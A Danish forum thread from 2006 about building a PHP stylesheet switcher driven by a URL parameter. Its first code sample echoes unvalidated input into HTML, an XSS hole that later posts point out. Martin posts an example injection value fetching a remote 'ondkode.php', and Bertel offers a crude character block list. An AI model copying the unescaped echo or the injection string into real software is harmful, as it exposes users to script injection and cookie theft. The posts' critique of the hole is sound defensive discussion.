| 
					
							
        
    
        
						
			 | 
			
			
					    
					
        
         
          
         
	
            | Valgfrit sidedesign Fra : Erik Ginnerskov | 
  Dato :  17-04-06 22:28 |  
  |   |   |   
            
        
 
            
         
           Henrik Stidsen (17-04-2006) 
         
	
            | Kommentar Fra : Henrik Stidsen | 
  Dato :  17-04-06 22:34 |  
  |  
 
            Erik Ginnerskov pretended :
 > Hvordan kan man lave noget tilsvarende i php?
 <?php
 if(isset($_GET["style"]) && $_GET["style"] != "")
 {
 $style=$_GET["style"];
 }
 else
 {
 $style="hss-main.css";
 }
 ?>
 <link href="<?php echo $style; ?>" rel="stylesheet" type="text/css">
 Utestet, ingen garanti :)
 -- 
 Henrik Stidsen -  http://henrikstidsen.dk/
"The reason there are two senators for each state is so that one can be 
 the designated driver." - Jay Leno
            
              |   |   
            
        
 
            
         
           Erik Ginnerskov (17-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  17-04-06 23:52 |  
  |  
 
            Henrik Stidsen wrote:
 > <?php
 > if(isset($_GET["style"]) && $_GET["style"] != "")
 > {
 > $style=$_GET["style"];
 > }
 > else
 > {
 > $style="hss-main.css";
 > }
 >>
 >
 > <link href="<?php echo $style; ?>" rel="stylesheet" type="text/css">
 Lige i øjet. Takker.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
           Martin (18-04-2006) 
         
	
            | Kommentar Fra : Martin | 
  Dato :  18-04-06 02:47 |  
  |   
            Henrik Stidsen wrote:
 > Erik Ginnerskov pretended :
 >> Hvordan kan man lave noget tilsvarende i php?
 > 
 > <?php
 > if(isset($_GET["style"]) && $_GET["style"] != "")
 > {
 > $style=$_GET["style"];
 > }
 
 HUSK lige at lave lidt validering på $_GET["style"] ellers kunne jeg 
 godt forstille mig af en eller anden gut kunne lave lidt ballade i det.
 
 > else
 > {
 > $style="hss-main.css";
 > }
 > ?>
 > 
 > <link href="<?php echo $style; ?>" rel="stylesheet" type="text/css">
 > 
 > Utestet, ingen garanti :)
 > 
 
 Min løsning ville nok være noget ala dette.
 
 $accepted_styles = array (
      "style1.css"
      ,"style2.css"
      ,"style3.css"
      ,....
    );
 
 print 
 (in_array($_GET["style"],$accepted_styles))?$_GET["style"]:"mainstyle.css");
 
 (for brugervenligeheden)
 
 if(in_array($_GET["style"],$accepted_styles)) print $_GET["style"];
 else print "mainstyle.css";
  
            
             |   |   
            
        
 
            
         
            Erik Ginnerskov (19-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  19-04-06 23:53 |  
  |  
 
            Martin wrote:
 > HUSK lige at lave lidt validering på $_GET["style"] ellers kunne jeg
 > godt forstille mig af en eller anden gut kunne lave lidt ballade i
 > det.
 Det værste, der kan ske, er, at brugerne definerer deres eget stylesheet at
 se siden med. Det skal de da have lov til.
 Det er nogenlunde det samme, de har lavet på csszengarden.com - her kan man
 også definere sit eget css og indskrive adressen til det som parameter i
 kaldet til siden.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
             Peter Brodersen (20-04-2006) 
         
	
            | Kommentar Fra : Peter Brodersen | 
  Dato :  20-04-06 00:45 |  
  |  
 
            On Thu, 20 Apr 2006 00:53:12 +0200, "Erik Ginnerskov"
 <erik@donotspammmeplease.invalid> wrote:
 >Det værste, der kan ske, er, at brugerne definerer deres eget stylesheet at
 >se siden med. Det skal de da have lov til.
 Nej, brugeren kan bryde ud af den del af HTML'en og smide hvad som
 helst indhold ind, inklusive diverse cross-site-scripts, hvor en evt.
 aktuel cookie (/session) bliver overført til en fremmed server.
 -- 
 - Peter Brodersen
   Find dig selv:  http://map.ter.dk/
            
             |   |   
            
        
 
            
         
             Martin (20-04-2006) 
         
	
            | Kommentar Fra : Martin | 
  Dato :  20-04-06 13:20 |  
  |  
 
            Erik Ginnerskov wrote:
 > Martin wrote:
 > 
 >> HUSK lige at lave lidt validering på $_GET["style"] ellers kunne jeg
 >> godt forstille mig af en eller anden gut kunne lave lidt ballade i
 >> det.
 > 
 > Det værste, der kan ske, er, at brugerne definerer deres eget stylesheet at
 > se siden med. Det skal de da have lov til.
 > 
 > Det er nogenlunde det samme, de har lavet på csszengarden.com - her kan man
 > også definere sit eget css og indskrive adressen til det som parameter i
 > kaldet til siden.
 > 
 $_GET["style"] = "stylesheet.css\">print 
 file_get_contents(\" http://domæne.dk/ondkode.php\");
Noget ala dette, skulle kunne aktivere noget virkelig ondt.
 Håber du kan se hvad jeg mener :)
 Det er det samme med sql/mail injections, man kan ALTID lave noget 
 rigtig bras, hvis ikke koden bliver valideret, efter det bliver smidt 
 ind på serveren.
            
              |   |   
            
        
 
            
         
              Peter Brodersen (20-04-2006) 
         
	
            | Kommentar Fra : Peter Brodersen | 
  Dato :  20-04-06 16:43 |  
  |  
 
            On Thu, 20 Apr 2006 14:20:19 +0200, Martin <news@natten-i.dk> wrote:
 >$_GET["style"] = "stylesheet.css\">print 
 >file_get_contents(\" http://domæne.dk/ondkode.php\");
>
 >Noget ala dette, skulle kunne aktivere noget virkelig ondt.
 >Håber du kan se hvad jeg mener :)
 Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
 PHP-koden. Den vil blot blive outputtet.
 Men man bør naturligvis stadigvæk selv være herre over omfanget af
 outputtet.
 -- 
 - Peter Brodersen
   Find dig selv:  http://map.ter.dk/
            
             |   |   
            
        
 
            
         
               Martin (20-04-2006) 
         
	
            | Kommentar Fra : Martin | 
  Dato :  20-04-06 20:38 |  
  |   
            Peter Brodersen wrote:
 > Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
 > PHP-koden. Den vil blot blive outputtet.
 
 Det er jeg godt klar over... nu er jeg heller ikke specielt 
 interesseret, i at lave injections, men det var nu bare for at vise 
 idéen om hvordan ondsindet ting kan komme ind på en side.
  
            
             |   |   
            
        
 
            
         
                Erik Ginnerskov (20-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  20-04-06 22:59 |  
  |  
 
            Martin wrote:
 > Peter Brodersen wrote:
 >> Det er dog lidt overdrevet. Der er ingen mulighed for at få evalueret
 >> PHP-koden. Den vil blot blive outputtet.
 >
 > Det er jeg godt klar over... nu er jeg heller ikke specielt
 > interesseret, i at lave injections, men det var nu bare for at vise
 > idéen om hvordan ondsindet ting kan komme ind på en side.
 Javel. Men den evaluering af input vil da helt ødelægge ideen med, at siden
 kan vises med brugerens egen css.
 Nogen forslag til, hvodan de to ting kan kombineres?
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                 Bertel Lund Hansen (21-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  21-04-06 00:01 |  
  |  
 
            Erik Ginnerskov skrev:
 > Javel. Men den evaluering af input vil da helt ødelægge ideen med, at siden
 > kan vises med brugerens egen css.
 Nej nej. Din grundfunktion skal slet ikke ændres. Det er kun
 skadelig kode der skal smides i dev/null. Princippet:
 if (helt almindeligt input) {
    gør ganske som planlagt;
 }
 else {
    print "Æh bæh bu!";
    glem alt om input;
 }
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                  Erik Ginnerskov (26-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  26-04-06 22:51 |  
  |   |   |   
            
        
 
            
         
                   Bertel Lund Hansen (27-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  27-04-06 11:59 |  
  |  
 
            Erik Ginnerskov skrev:
 >> if (helt almindeligt input) {
 >> gør ganske som planlagt;
 >> }
 >> else {
 >> print "Æh bæh bu!";
 >> glem alt om input;
 >> }
 > Hvordan vil det se ud på php'sk?
 Jeg har et sted brugt en hjemmelavet funktion som jeg kaldte
 is_harmless(). Så kunne jeg skrive i selve koden:
 if (is_harmless($username,$logfilename,$newentry)) {
    normal 'naiv' implementation af hvad man nu vil have lavet.
 }
 Jeg besluttede at en evt. hærværker ikke skulle vide at han blev
 afluret, men hvis man vil fortælle ham noget, tilføjer man jo
 bare:
 else {
    echo "Vi er ikke interesserede i dine forsøg på hackning.";
    (eller hvad man nu vil).
 }
 $username var et jeg trak ud af formularen, $logfilename angiver
 hvilken logfil der skal skrives til, og $newentry var en streng
 hvor alle formularelementer var sammenstillet.
 Funktionen danner en lowcasestreng som gennemløbes af str_replace()
 hvor det så undersøges om der er skadelige tegn. Hvis der er det ,
 bliver de udskiftet med et tomt tegn (reelt fjernet). Derefter
 opsamles de oplysninger som skal skrives til logfilen, og
 endelig sammenlignes det behandlede navn med det oprindelige
 lowcasede. Hvis de er ens, er der ikke sket nogen udskiftning,
 og så har formularen ikke indeholdt skadelig kode.
 Jeg lod formularen sende en mail til mig fordi der i en periode
 var en hærværker der bearbejdede formularen en hel del. Jeg fik
 så en mail hver gang der var en der brugte formularen. Man kan
 også flytte afsendelsen op under betingelsen, så der kun sendes
 mail hvis det er et hærværksforsøg.
 Til allersidst returneres en boolesk værdi.
 Funktionen (forenklet) ser sådan ud. $harmful er de tegn som jeg
 gerne vil undgå i formularen, og $harmless består udelukkende af
 tomme tegn. Bemærk at jeg normalt bruger enkelte anførselstegn
 til at specificere en streng, men man er nødt til at bruge dobbelte
 når "\\" skal tolkes som '\':
 function is_harmless   ($name,$logfilename,$newentry) {
    // $harmless er lavet rigeligt lang.
    $harmless=array('','','','','','','','','','','','','','','','','');
    // NB! Der optræder punktummer i $hostname.
    $harmful=array('@','%',"\\",'/','<','>','(',')',';','script');
    $lowcasename=strtolower($name);
    $newname=str_replace($harmful,$harmless,$lowcasename);
    // Tjek på brugeren:
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $port = $_SERVER['REMOTE_PORT'];
    $hostname = gethostbyaddr($ip);
    $idag=date('d/m-Y');
    $nu=date('H:i:s');
    $tjekinfo=
       "User_agent: $user_agent\n".
       "IP: $ip\n".
       "Port: $port\n".
       "Hostname: $hostname\n".
       "Dato: $idag    Tid: $nu\n".
       "Input: $newentry\n\n";
    $handle=fopen($logfilename,'a');
    fwrite($handle,$tjekinfo);
    fclose($handle);
    // Her tjekkes det om der var blot ét tegn der var harmful.
    // Hvis der *ikke* var, vil $newname være identisk med $lowcasename.
    if ($newname!=$lowcasename)
       $overskrift="Hærværksforsøg";
    else
       $overskrift="Tilmelding til ...";
    mail('nospamfilius@lundhansen.dk',$overskrift,"\n".$tjekinfo);
    return $newname==$lowcasename;
 }
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                    Erik Ginnerskov (27-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  27-04-06 21:07 |  
  |  
 
            Bertel Lund Hansen wrote:
 > Jeg har et sted brugt en hjemmelavet funktion som jeg kaldte
 > is_harmless(). Så kunne jeg skrive i selve koden:
 >
 > if (is_harmless($username,$logfilename,$newentry)) {
 > normal 'naiv' implementation af hvad man nu vil have lavet.
 > }
 Hele din lange kode lugter lidt af at skulle bruges i forbindelse med en
 eller anden form for brugerformular. Men en sådan er slet ikke involveret
 her.
 Der er blot tale om at kunne vise min side med et af tre forud definerede
 css'er eller med et, som brugeren selv har lavet.
 Jeg kan slet ikke se, hvordan dine inputvalideringer kan bruges til at
 tjekke, hvorvidt der som værdi til parameteren "style" bliver indsat adresse
 til et harmløst css eller til noget helt andet.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                     Bertel Lund Hansen (28-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  28-04-06 06:33 |  
  |  
 
            Erik Ginnerskov skrev:
 > Jeg kan slet ikke se, hvordan dine inputvalideringer kan bruges til at
 > tjekke, hvorvidt der som værdi til parameteren "style" bliver indsat adresse
 > til et harmløst css eller til noget helt andet.
 Hvis der f.eks. forekommer et @ i brugerens style-specifikation,
 så er han ude på numre, og der skal lukkes for at specifikationen
 kan få effekt.
 Det kan du tjekke ved at sende den gennem en tjekrutine i stil
 med den jeg skrev og kun acceptere den hvis der returneres true
 (ingen problemer).
 Den skal rettes til, for jeg har f.eks. forbudt < og >, og det er
 jo legale tegn i en style.
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                      Erik Ginnerskov (28-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  28-04-06 23:22 |  
  |  
 
            Bertel Lund Hansen wrote:
 > Hvis der f.eks. forekommer et @ i brugerens style-specifikation,
 > så er han ude på numre, og der skal lukkes for at specifikationen
 > kan få effekt.
 Til gengæld vil du også blokere for brug af / - det vil da ellers være en
 obligatorisk ingrediens i definition af et fremmed stylesheet.
 > Det kan du tjekke ved at sende den gennem en tjekrutine i stil
 > med den jeg skrev og kun acceptere den hvis der returneres true
 > (ingen problemer).
 Jeg har nu siddet og kigget en times tid på de koder, du skrev. Jeg kan ikke
 gennemskue, hvordan jeg kan lave en validering af input til mit script:
     <?php
     if(isset($_GET["style"]) && $_GET["style"] != "")
     {
     $style=$_GET["style"];
     }
     else
     {
     $style="/hss-main.css";
     }
     ?>
 Det må være noget i retning af:
     <?
     $harmful=array('@','%',"\\",'<','>','(',')',';','script');
     if not(is_harmful($_GET["style"])) {    /* linje 3 her */
         if(isset($_GET["style"] ....
         ....
         }
     }
     ?>
 Men det fungerer bare ikke, jeg får denne fejlmelding:
     parse error, unexpected T_STRING, expecting '(' on line 3
 > Den skal rettes til, for jeg har f.eks. forbudt < og >, og det er
 > jo legale tegn i en style.
 Jeg kan ikke mindes at have set de to tegn brugt i en url.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                       Bertel Lund Hansen (29-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  29-04-06 01:01 |  
  |  
 
            Erik Ginnerskov skrev:
 > Det må være noget i retning af:
 >     <?
 >     $harmful=array('@','%',"\\",'<','>','(',')',';','script');
 >     if not(is_harmful($_GET["style"])) {    /* linje 3 her */
 >         if(isset($_GET["style"] ....
 >         ....
 >         }
 >     }
 >     ?>
 Du må ikke skrive "not" - i hvert fald må det ikke stå dér. I PHP
 bruger man ! for not, og det er ikke en funktion, men skal stå
 lige foran det det benægter.
 if (!is_harmful($_GET["style"])) {    /* linje 3 her */
 >> Den skal rettes til, for jeg har f.eks. forbudt < og >, og det er
 >> jo legale tegn i en style.
 > Jeg kan ikke mindes at have set de to tegn brugt i en url.
 Nej, men en URL er ikke den eneste måde at genere på. <script
 type='text/javascript'> og så en masse balladekode kan også være
 ganske træls. Du kan evt. lade "script" være et element i
 $harmful.
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                        Erik Ginnerskov (29-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  29-04-06 21:49 |  
  |  
 
            Bertel Lund Hansen wrote:
 > Du må ikke skrive "not" - i hvert fald må det ikke stå dér. I PHP
 > bruger man ! for not, og det er ikke en funktion, men skal stå
 > lige foran det det benægter.
 >
 > if (!is_harmful($_GET["style"])) {    /* linje 3 her */
 Jeg har nu lavet det sådan:
     <?php
     function is_harmful($harmful) {
       $harmful=array('@','%',"\\",'<','>','(',')',';','script');
         if(!is_harmful($_GET["style"])) {
           if(isset($_GET["style"]) && $_GET["style"] != "")
           {
             $style=$_GET["style"];
           }
           else
           {
             $style="/hss-main.css";
           }
         }
       }
     ?>
 Det giver ikke fejlmelidng, men der bliver ikke indlæst det forventede css -
 heller ikke når der bliver klikket på et af de links, der skulle udskifte
 css.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                         Bertel Lund Hansen (30-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  30-04-06 11:52 |  
  |  
 
            Erik Ginnerskov skrev:
 > Jeg har nu lavet det sådan:
 Din struktur er forkert. Du har lavet en funktion der kalder sig
 selv (uendelig løkke), men som ikke bliver kaldt af nogen
 hovedrutine.
 Hvordan vil et typisk brugerinput se ud? Jeg har brug for at vide
 hvilke specialtegn der kan forekomme. Så skal jeg skrive koden
 til dig.
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                          Erik Ginnerskov (30-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  30-04-06 19:30 |  
  |   |   |   
            
        
 
            
         
                          Erik Ginnerskov (30-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  30-04-06 19:39 |  
  |  
 
            Bertel Lund Hansen wrote:
 > Erik Ginnerskov skrev:
 >
 >> Jeg har nu lavet det sådan:
 >
 > Din struktur er forkert. Du har lavet en funktion der kalder sig
 > selv (uendelig løkke), men som ikke bliver kaldt af nogen
 > hovedrutine.
 Jeg prøvede at ændre lidt på det:
     <?php
     function is_harmful($harmful) {
      $harmful=array('@','%',"\\",'<','>','(',')',';','script'); }
         if(!is_harmful($_GET["style"])) {
          if(isset($_GET["style"]) && $_GET["style"] != "")
        {
         $style=$_GET["style"];
        }
        else
        {
         $style="../../hss-main.css";
        }
       }
     ?>
 Nu fungerer det ved lovligt input, men vil det mon fange noget ulovligt?
 Jeg prøvede at lave dette input:
     ....?style=<? phpinfo.php ?>
 Det resulterede i, at der slet ikke blev indlæst noget css.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                           Geert Lund (30-04-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  30-04-06 21:51 |  
  |  
 
            Erik Ginnerskov wrote:
 > Jeg prøvede at ændre lidt på det:
 > 
 >     <?php
 >     function is_harmful($harmful) {
 >      $harmful=array('@','%',"\\",'<','>','(',')',';','script'); }
 >         if(!is_harmful($_GET["style"])) {
 >          if(isset($_GET["style"]) && $_GET["style"] != "")
 >        {
 >         $style=$_GET["style"];
 >        }
 >        else
 >        {
 >         $style="../../hss-main.css";
 >        }
 >       }
 >     ?>
 > 
 > Nu fungerer det ved lovligt input, men vil det mon fange noget ulovligt?
 > 
 > Jeg prøvede at lave dette input:
 > 
 >     ....?style=<? phpinfo.php ?>
 > 
 > Det resulterede i, at der slet ikke blev indlæst noget css.
 Der er nogle fundamentalt helt forkerte ting galt med din funktion og 
 den bør derfor give - uforudsete resultater...
 Du kalder en funktion med variablen $harmful - men samtidig sætter du et 
 nyt indhold (array) i den samme variabel et øjeblik senere - dvs. du 
 overskriver _ALTID_ dit input til variablen med indholdet du gerne vil 
 checke for - det skal give problemer!
 Derudover kalder du din funktion rekursivt - hvilket burde få dit script 
 til at gå i uendelig løkke!
 Du returnerer heller ikke noget ud af din funktion - og derfor er dit 
 eksempel i ovenstående direkte forkert - da der aldig vil blive sat 
 noget i en global-variabel du kan bruge senere i dit script (læs: $style 
 vil altid have tomt indhold når du hopper ud af funktionen igen) du skal 
 huske fx
    return $style
 i slutningen af din funktion!
 Derudover har du blandet $harmful og $_GET['style'] i en sand 
 forvirring... - da jeg går ud fra at $harmful egentlig skulle indeholde 
 brugerens inputtede stylesheet til dit script?
 Vil se om jeg kan få tid til at skrue noget mere korrekt sammen senere - 
 men lige nu må det vente...
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                           Bertel Lund Hansen (30-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  30-04-06 22:53 |  
  |  
 
            Erik Ginnerskov skrev:
 > Jeg prøvede at ændre lidt på det:
 Din struktur er stadig helt forkert. Se Geert Lunds svar. Pas
 bl.a. på ikke at bruge samme variabelnavn til forskellige ting.
 Prøv dette:
 <?php
 // Funktion:
 define('BASICSTYLESHEET', '../../hss-main.css');
 function is_harmful($userstring) {
    $harmless = array('','','','','','','','','','','','','','','','','');
    $harmful = array('@','%',"\\",'<','>','(',')',';','script');
    $lowcasestring=strtolower($userstring);
    $newstring=str_replace($harmful,$harmless,$lowcasestring);
    // Hvis de er forskellige, var der en udskiftning - der var altså nogle farlige tegn:
    return $newstring!=$lowcasestring;
 }
 // Hovedrutinen:
 if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - også en tom streng.
 if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
 ?>
 Jeg har brugt enkelte anførselstegn. Det gør jeg når der ikke
 er koder der skal udfoldes.
 Definitionen af BASICSTYLESHEET er ikke strengt nødvendig, men
 den sørger for to ting:
 1.   Specifikationen kan stå først i PHP-filen. Så er det nemmere
      at se hvad der er hardkodet.
 2.   Hvis du vil bruge samme angivelse andre steder, bruger du bare
      BASICSTYLESHEET igen. Hvis du senere ændrer specifikationen,
      slår det igennem overalt.
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                            Erik Ginnerskov (30-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  30-04-06 23:03 |  
  |  
 
            Bertel Lund Hansen wrote:
 > Din struktur er stadig helt forkert. Se Geert Lunds svar. Pas
 > bl.a. på ikke at bruge samme variabelnavn til forskellige ting.
 Jeg prøvede at lave denne ændring i de første par linjer:
 function is_harmful($bad) {
  $bad=array('@','%',"\\",'<','>','(',')',';','script'); }
 Det fungerede lige så godt - ved lovligt input.
 > Prøv dette:
 [klip kode]>
 Det giver denne fejlmelding:
 parse error, unexpected '=' on line 16
 Linje 16 er denne:
 if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                             Erik Ginnerskov (30-04-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  30-04-06 23:23 |  
  |  
 
            Erik Ginnerskov wrote:
 > Det giver denne fejlmelding:
 >
 > parse error, unexpected '=' on line 16
 >
 > Linje 16 er denne:
 >
 > if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
 Jeg så lige, at du havde glemt et $, kodelinjen skal se sådan ud:
 if (is_harmful($style) || $style=='') $style=BASICSTYLESHEET;
 .... så har den præcis samme virkning som det, jeg selv fik strikket sammen:
     Ved lovligt eller intet input fungerer det upåklageligt.
     Ved ulovligt input indlæses slet ikke noget css.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                             Martin (30-04-2006) 
         
	
            | Kommentar Fra : Martin | 
  Dato :  30-04-06 23:31 |  
  |   
            Erik Ginnerskov wrote:
 > Bertel Lund Hansen wrote:
 > 
 >> Din struktur er stadig helt forkert. Se Geert Lunds svar. Pas
 >> bl.a. på ikke at bruge samme variabelnavn til forskellige ting.
 > 
 > Jeg prøvede at lave denne ændring i de første par linjer:
 > 
 > function is_harmful($bad) {
 >  $bad=array('@','%',"\\",'<','>','(',')',';','script'); }
 > 
 > Det fungerede lige så godt - ved lovligt input.
 > 
 >> Prøv dette:
 > 
 > [klip kode]>
 > 
 > Det giver denne fejlmelding:
 > 
 > parse error, unexpected '=' on line 16
 > 
 > Linje 16 er denne:
 > 
 > if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
 > 
 
 prøv at skrive $style=BASIC... :)
  
            
             |   |   
            
        
 
            
         
                             Bertel Lund Hansen (30-04-2006) 
         
	
            | Kommentar Fra : Bertel Lund Hansen | 
  Dato :  30-04-06 23:33 |  
  |  
 
            Erik Ginnerskov skrev:
 > ... så har den præcis samme virkning som det, jeg selv fik strikket sammen:
 Det håber jeg sørme ikke. Det er helt tilfældigt hvis din gamle
 kode virker (eller blot ser sådan ud).
 >     Ved lovligt eller intet input fungerer det upåklageligt.
 >     Ved ulovligt input indlæses slet ikke noget css.
 Var det ikke det du ønskede? Hvis du vil behandle de tilfælde
 hvor der bruges farlige tegn, anderledes, kan du gøre det i
 hovedrutinen:
 // Hovedrutinen:
 if (isset($_GET["style"])) $style=$_GET['style']; // Saml input op - også en tom streng.
 if (is_harmful($style) || $style=='') style=BASICSTYLESHEET;
 else { her kan du tage dig af folk der med vilje eller ved uheld bruger uønskede tegn ... }
 ?>
 -- 
 Bertel
 http://bertel.lundhansen.dk/      http://fiduso.dk/
            
             |   |   
            
        
 
            
         
                              Erik Ginnerskov (01-05-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  01-05-06 00:05 |  
  |  
 
            Bertel Lund Hansen wrote:
 >> ... så har den præcis samme virkning som det, jeg selv fik strikket
 sammen:
 > Det håber jeg sørme ikke. Det er helt tilfældigt hvis din gamle
 > kode virker (eller blot ser sådan ud).
 Det har også denne effekt:
 <citat>
     Ved lovligt eller intet input fungerer det upåklageligt.
     Ved ulovligt input indlæses slet ikke noget css.
 </citat>
 Koden:
 function is_harmful($bad) {
  $bad=array('@','%',"\\",'<','>','(',')',';','script'); }
     if(!is_harmful($_GET["style"])) {
      if(isset($_GET["style"]) && $_GET["style"] != "")
    {
     $style=$_GET["style"];
    }
    else
    {
     $style="../../hss-main.css";
    }
   }
 Begge scripts smider i øvrigt noget tekst ind før DTD, hvis der slet ikke er
 defineret noget input (siden kaldes uden parameter).
 Mit script:
 <br />
 <b>Notice</b>:  Undefined index:  style in
 <b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>4</b><br />
 Dit script:
 <br />
 <b>Notice</b>:  Undefined variable:  style in
 <b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>15</b><br />
 <br />
 <b>Notice</b>:  Undefined variable:  style in
 <b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>15</b><br />
 Jeg kan ikke lige se, hvorfor dit script udskriver fejlmeldingen to gange.
 > Var det ikke det du ønskede?
 Meningen var, at hvis input var ulovligt eller slet ikke til stede, skulle
 standard-css'en indlæses (../../hss-main.css) og ingen fejlmeldinger skrevet
 nogen steder.
 Hvis du vil behandle de tilfælde
 > hvor der bruges farlige tegn, anderledes,
 Det blev netop frarådet i et andet indlæg.
 -- 
 Med venlig hilsen
 Erik Ginnerskov
 http://hjemmesideskolen.dk/ -  http://ginnerskov.dk/
http://html-faq.dk/
            
             |   |   
            
        
 
            
         
                               Geert Lund (01-05-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  01-05-06 00:19 |  
  |  
 
            Erik Ginnerskov wrote:
 > Begge scripts smider i øvrigt noget tekst ind før DTD, hvis der slet ikke er
 > defineret noget input (siden kaldes uden parameter).
 Men det ville jo også hjælpe hvis du postede hele dit script i stedet 
 for kun den funktion du har "problemer med".
 Hvis det kode du skriver virker pt. nogle gange og nogle gange ikke - så 
 er det altså fordi 1) din kode er direkte forkert - hvilket vi har 
 prøvet at fortælle dig og 2) der måske er noget mere 
 forkert/uhensigtsmæssigt i resten af din kode.
 > Mit script:
 > <br />
 > <b>Notice</b>:  Undefined index:  style in
 > <b>C:\Dokumenter\hjs\html\testsider\head7dp.inc</b> on line <b>4</b><br />
 Jeg vil gætte på at det i dit script er:
      if(!is_harmful($_GET["style"])) {
 Da denne ikke er sat (du checket det ikke) vil der opstå en fejl, da du 
 medsender en variabel til en funktion uden at checke om den er sat 
 (isset) - får du givetvis fejl ala dem du påpeger her.
 Men post hele koden i sammenhæng - evt. på pastebin - så er det lidt 
 nemmere at se hvad der er galt.
 -- 
 Med venlig hilsen
 Geert Lund,
 www.GLD.dk
            
             |   |   
            
        
 
            
         
                                Erik Ginnerskov (01-05-2006) 
         
	
            | Kommentar Fra : Erik Ginnerskov | 
  Dato :  01-05-06 00:25 |  
  |   |   |   
            
        
 
            
         
                                 Geert Lund (01-05-2006) 
         
	
            | Kommentar Fra : Geert Lund | 
  Dato :  01-05-06 00:39 |  
  |  
 
            Erik Ginnerskov wrote:
 >  http://hjemmesideskolen.dk/html/testsider/designskift.php   - mit
 >  http://hjemmesideskolen.dk/html/testsider/designskift2.php - Bertels
 Kigger lige på det - men noget undrer mig - hvordan kan du tage 
 copyright på scripts/funktioner andre sidder her og udvikler for dig?
 Derudover synes jeg det er direkte forkasteligt at du skriver en artikel 
 om hvor let det er at inkludere eksterne scripts - uden med 1 ord nævner 
 sikkerheds aspektet som er hele grunden til vi sidder og hjælper dig pt.?
 Ikke engang Bertels kommentarer i koden er kommet med - hvordan 
 forventer du at brugerne skal forstå funktionen is_harmful og at den 
 faktisk er _RIGTIG VIGTIG_ hvis man vil inkludere eksternt indtastede 
 styles?
 Yderligere: "Bemærk, at de to teknikker (serverside-styret css-skift og 
 css-skift via en browserfunktion) ikke er glade for at arbejde sammen." 
 - den forstår jeg simpelthen ikke?
 Der er ikke noget til hindre i at gøre begge dele! Det skal bare kodes 
 ordentligt... hvad er det du ikke mener kan arbejde sammen?
 Men ingen af de to sider du har postet link til indeholder din reelle 
